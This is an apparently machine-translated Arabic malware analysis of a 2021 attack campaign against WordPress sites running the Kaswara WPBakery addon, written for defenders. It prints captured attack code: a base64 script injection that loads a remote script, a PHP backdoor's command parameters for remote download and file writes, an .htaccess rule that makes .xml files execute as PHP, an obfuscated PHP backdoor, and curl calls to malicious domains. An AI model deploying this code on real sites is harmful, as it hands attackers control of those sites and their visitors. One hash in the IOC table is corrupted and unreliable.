Kaswara الحديث المعرض للخطر WPBakery Page Builder Addons Plugin الذي يتم استغلاله في البرية
نشرت: 2021-06-08مرة أخرى في 20 أبريل 2021 ، أبلغ أصدقاؤنا في WPScan عن وجود ثغرة أمنية خطيرة في Kaswara Modern VC Addons ، المعروف أيضًا باسم Kaswara Modern WPBakery Page Builder Addons. لم يعد متاحًا في Codecanyon / Envato ، مما يعني أنه إذا كان لديك هذا التشغيل ، فيجب عليك اختيار بديل.
تتيح هذه الثغرة الأمنية للمستخدمين غير المصادق عليهم تحميل ملفات عشوائية إلى دليل رمز البرنامج المساعد (./wp-content/uploads/kaswara/icons). هذا هو أول مؤشر للتسوية (IOC) شاركه أصدقاؤنا في WPScan معنا في تقريرهم.
تمنح القدرة على تحميل ملفات عشوائية إلى موقع ويب الفاعل السيئ السيطرة الكاملة على الموقع ، مما يجعل من الصعب تحديد الحمولة النهائية لهذه العدوى ؛ وبالتالي ، سنعرض لك كل ما وجدناه حتى الآن (لقد انطلقنا قليلاً في البحث ، لذلك لا تتردد في الانتقال إلى قسم IOC إذا كنت لا ترغب في القراءة بالكامل).
حقن قاعدة البيانات وتطبيقات Android المزيفة والأبواب الخلفية الأخرى
شكرًا لصديقنا Denis Sinegubko من Sucuri للإشارة إلى متابعة حقن قاعدة البيانات المستخدمة في هذا الهجوم.
يقوم الفاعلون السيئون بتحديث خيار "kaswara-customJS" لإضافة مقتطف ضار عشوائي من كود Javascript. إليك أحد الأمثلة التي وجدناها:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
تترجم سلسلة base64 المشفرة هذه إلى:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
وكما يحدث عادةً مع هذا النوع من البرامج النصية ، فإنه سيتم تحميل سلسلة من مقتطفات كود جافا سكريبت الأخرى ، وستكون الحمولة النهائية إما إعلانًا سيئًا أو مجموعة أدوات استغلال. هذا مشابه جدًا لما ذكره Wordfence هنا.
في هذه الحالة ، يموت النص على hxxp: // double-clickd [.] com / ولا يتم تحميل أي محتوى سيء. لقد وجدت أن Javascript مريبة تستدعي هذا الموقع منذ أوائل عام 2020 ويقوم الناس بالفعل بحظره منذ عام 2018.
تم تحميل تطبيقات وهمية على الموقع
كانت تطبيقات Android الأربعون الموجودة على مواقع الويب التي فحصناها عبارة عن إصدارات مزيفة من تطبيقات مختلفة ، مثل AliPay و PayPal و Correos و DHL والعديد من التطبيقات الأخرى ، والتي تم اكتشافها لحسن الحظ من قبل أشهر بائعي برامج مكافحة الفيروسات وفقًا لتحليل VirusTotal.
لم أتحقق من نوايا التطبيق ، ولكن مراجعة سريعة للأذونات التي يطلبها يمكن أن تعطينا لمحة عما يمكن أن يفعله:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
ومع ذلك ، لا يتم تحميل هذه الملفات على الفور باستخدام استغلال Kaswara. بعد اختراق الموقع ، سيقوم المهاجمون بتحميل أدوات أخرى أولاً للتحكم الكامل في الموقع.
الملفات التي يتم تحميلها
تم العثور على بعض الأبواب الخلفية والبرامج الضارة الأخرى أيضًا على مواقع الويب التي تعرضت للاختراق بسبب هذه الثغرة الأمنية. سأشارك تحليلاً سريعًا لأكثر التحليلات شيوعًا وإثارة للاهتمام في هذا المنشور. ومع ذلك ، أود التركيز أولاً على أكثرها تعقيدًا.
إعادة توجيه وتطبيقات وهمية
لم يتم تحميل التطبيقات المزيفة التي وجدتها في العديد من المواقع المخترقة من خلال استغلال ثغرة Kaswara. يتم تحميلها على الموقع باستخدام أداة اختراق متعددة الوظائف ، والتي تسمح للمهاجم بتحميل بعض التعليمات البرمجية عن بُعد (من خلال توفير عنوان URL أو سلسلة) ، وإعادة توجيه المستخدم إلى موقع ضار.
يمكن التعرف على الملف بسهولة من خلال وجود هذه السلسلة: base64_decode('MTIz');error_reporting(0);
وظيفة
ومن المثير للاهتمام أنه يقوم بترتيب كل شيء بشكل عشوائي ما عدا هذا.
توجد البرامج الضارة في سطر واحد ، وهي أيضًا لجنة IOC مثيرة للاهتمام إذا كنت تبحث عن هذا النوع من الشذوذ في التعليمات البرمجية.
لتسهيل الفهم ، قمت بفك تشفير معظم أجزاء الكود ، وأعدت تسمية الوظائف المثيرة للاهتمام وجمَّلت الكود. تتضمن البرامج الضارة 6 وظائف مختلفة ، 5 منها تستند إلى القيم التي تم تمريرها على المتغير $_GET['ts']
. بالنسبة لهذا المستند ، دعنا نفكر في إحدى الحالات العديدة التي وجدتها: c.php
.
/c.php؟ts=kt
هذا لا يفعل شيئًا وسيجبر الموقع على إرجاع خطأ 500 (لاحقًا في الكود).
/c.php؟ts=1
يغير قيمة علامة $q1a
إلى true لإجراء التحقق من صحة التعليمات البرمجية وإخراج رسالة OK إلى المهاجم.
في هذه الحالة يجيب الموقع البعيد: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}
/c.php؟ts=sv&v=" Code"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
يكتب ملفًا على الخادم برمز مقدم من محتويات $_GET["v"]
طالما أن $_GET["p"]
هو المجموع الاختباري SHA1 لـ 123 (تذكر أن IOC الأول لـ base64_decode('MTIz')
؟ هذا هل هذا المجموع الاختباري).
/c.php؟ts=tt
يكتب 5 ميغا بايت من "-" على الخادم ، وربما يستخدم لاختبار ما إذا كانت وظيفة التحميل ستعمل على الخادم.
/c.php؟ts=dwm&h=HASH1،HASH2
عندما يتلقى البرنامج الضار هذا الطلب ، فإنه يقوم بإجراء اختبار للتحقق مما إذا كانت الملفات التي تم تحميلها قد تمت كتابتها بنجاح إلى الخادم. يجب معرفة تجزئات MD5 الخاصة بهم وإرسالها إلى متغير $_GET['h']
كقيم مفصولة بفواصل.
/c.php؟ts=dw&h=hash&l=URLs_as_CSV
يقوم بتنزيل ملف من سلسلة من مواقع ويب الجهات الخارجية وحفظه على الخادم وتسميته بعد آخر 12 حرفًا من md5 للملف الذي تم تنزيله.
هذه هي الوظيفة المستخدمة لتحميل التطبيقات المزيفة على الخادم.
فيما يلي مثال لطلب تنزيل الملفات الضارة /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697
إعادة توجيه الوصول
إذا تم تحديد خيار kt
أو لم يتم تحديد أي خيار ، فستنتقل الشفرة إلى إعادة التوجيه ، والتي يتم تحقيقها عن طريق طلب JSON blob بالبيانات المطلوبة. ثم يشرع في إعادة توجيه الزائر باستخدام وظيفة الرأس.
الرد كالتالي: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
وظيفة تنفيذ طلب cURL بالمعلمات المطلوبة هي: لا شيء رائع ...
ويمكن ترجمتها إلى طلب cURL هذا:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
رابط عنوان URL النهائي ، بقدر ما أستطيع اختباره ، عشوائي ، ولكنه يشترك في نفس الخاصية لكونك صفحة مزيفة لخدمة أو تطبيق مشهور.
wp-content / uploads / kaswara / icons / 16 / javas.xml و wp-content / uploads / kaswara / icons / 16 / .htaccess
لا يتم عادةً وضع علامة على ملف XML باعتباره تهديدًا محتملاً ، ولكن في هذه الحالة ، لدينا ملف .htaccess مُعد خصيصًا لتغيير كيفية رؤية خادم الويب له:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
في الواقع ، يخبر Apache أن يفهم أي ملفات جافا أو منازل أو قوائم باستخدام xml أو php أو pdf كملف PHP ليتم معالجتها وتنفيذها وفقًا لذلك. لذا ، فإن أيًا من هذه الملفات الموجودة في نفس بنية الدليل مثل htaccess. سيكون مريبًا.
ملف javas.xml هو نفسه بعض الملفات الضارة الأخرى التي تم تحميلها على الموقع. لقد وجدت أن الاختلاف هو أن البعض يحتوي على سطر أو سطرين فارغين في نهاية الملف ، مما يجعل التجزئة التقليدية أكثر صعوبة.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
يتم إخفاء الشفرة الضارة باستخدام سلاسل str_rot13 و base64 المشفرة. كما أنه يستخدم القيم السداسية العشرية والعمليات الحسابية لإخفاء السلاسل أكثر من ذلك بقليل. الحمولة النهائية غير معروفة لأنها ستنشئ وظيفة بناءً على قيم طلب POST. ومع ذلك ، يبدو أن الحمولة هي نفسها في كل مرة لأنها تعتمد على فحص md5 قبل إنشائها (c42ea979ed982c02632430e9e98a66d6 هو تجزئة md5).
خاتمة
نظرًا لأن هذه حملة نشطة ، في وقت كتابة هذا المنشور ، وجدنا المزيد والمزيد من أمثلة البرامج الضارة المختلفة التي يتم إسقاطها في المواقع المتأثرة. بعضها مجرد اختلافات لما لدينا هنا ، بينما البعض الآخر مثير للاهتمام بدرجة كافية لإجراء تحليل أعمق. ابحث عن بعض المنشورات الأصغر التي ستصدر قريبًا لاستكشاف بعض هذه الأمثلة الأخرى.
يوضح هذا أهمية تحديث ملحقاتك بأحدث إصلاحات الأمان ؛ إذا لم يقم المطورون بإصدار الإصلاحات في الوقت المناسب أو تمت إزالتها من مستودع WordPress.org (أو الأسواق الأخرى) ، فإننا نوصي بشدة بإيجاد بديل أكثر أمانًا له.
إذا كنت قلقًا بشأن البرامج الضارة والضعف في موقعك ، فتحقق من ميزات أمان Jetpack. يوفر Jetpack Security أمانًا سهل الاستخدام وشاملًا لموقع WordPress بما في ذلك النسخ الاحتياطية ومسح البرامج الضارة والحماية من البريد العشوائي.
مؤشرات التسوية
تجد هنا القائمة الكاملة لجميع بطاقات IOC التي حددناها:
Hash (SHA-1) | طريق | وصف التهديد |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | تطبيق أندرويد مزيف |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | . / 28052809bdd7 | تطبيق أندرويد مزيف |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | تطبيق أندرويد مزيف |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | تطبيق أندرويد مزيف |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | تطبيق أندرويد مزيف |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | تطبيق أندرويد مزيف |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | تطبيق أندرويد مزيف |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | تطبيق أندرويد مزيف |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | تطبيق أندرويد مزيف |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | تطبيق أندرويد مزيف |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | تطبيق أندرويد مزيف |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | تطبيق أندرويد مزيف |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | تطبيق أندرويد مزيف |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | تطبيق أندرويد مزيف |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | تطبيق أندرويد مزيف |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | تطبيق أندرويد مزيف |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | تطبيق أندرويد مزيف |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | تطبيق أندرويد مزيف |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | تطبيق أندرويد مزيف |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | تطبيق أندرويد مزيف |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | تطبيق أندرويد مزيف |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | تطبيق أندرويد مزيف |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | تطبيق أندرويد مزيف |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | تطبيق أندرويد مزيف |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | تطبيق أندرويد مزيف |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | تطبيق أندرويد مزيف |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | تطبيق أندرويد مزيف |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | تطبيق أندرويد مزيف |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | تطبيق أندرويد مزيف |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | تطبيق أندرويد مزيف |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | تطبيق أندرويد مزيف |
2b61271653b8”2016ce743cabca8c48444f2c8 | ./f8c2f1514938 | تطبيق أندرويد مزيف |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | تطبيق أندرويد مزيف |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | تطبيق أندرويد مزيف |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | تطبيق أندرويد مزيف |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | تطبيق أندرويد مزيف |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | تطبيق أندرويد مزيف |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | تطبيق أندرويد مزيف |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | تطبيق أندرويد مزيف |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | تطبيق أندرويد مزيف |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | إسقاط البرامج الضارة |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | إسقاط البرامج الضارة |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP ملف رافع |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content / uploads / kaswara / icons / kntl / cc.php | إسقاط البرامج الضارة |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content / uploads / kaswara / icons / 16 / icons.php | البرمجيات الخبيثة تنفيذ التعليمات البرمجية عن بعد |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content / uploads / kaswara / icons / brt / t.php | إسقاط البرامج الضارة |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | إسقاط البرامج الضارة |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | إسقاط البرامج الضارة |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | إسقاط البرامج الضارة |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | إسقاط البرامج الضارة |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | إسقاط البرامج الضارة |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | إسقاط البرامج الضارة |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | إسقاط البرامج الضارة |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | البرمجيات الخبيثة تنفيذ التعليمات البرمجية عن بعد |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | إسقاط البرامج الضارة |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php أو ./wp-content/uploads/xeh02b.php | إسقاط البرامج الضارة |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | إسقاط البرامج الضارة |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | البرمجيات الخبيثة تنفيذ التعليمات البرمجية عن بعد |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | إسقاط البرامج الضارة |
wp-content / uploads / kaswara / icons / 16 / javas.xml | البرمجيات الخبيثة تنفيذ التعليمات البرمجية عن بعد | |
- | smurfetta.ru | المجال الضار |
http://papass.ru | المجال الضار |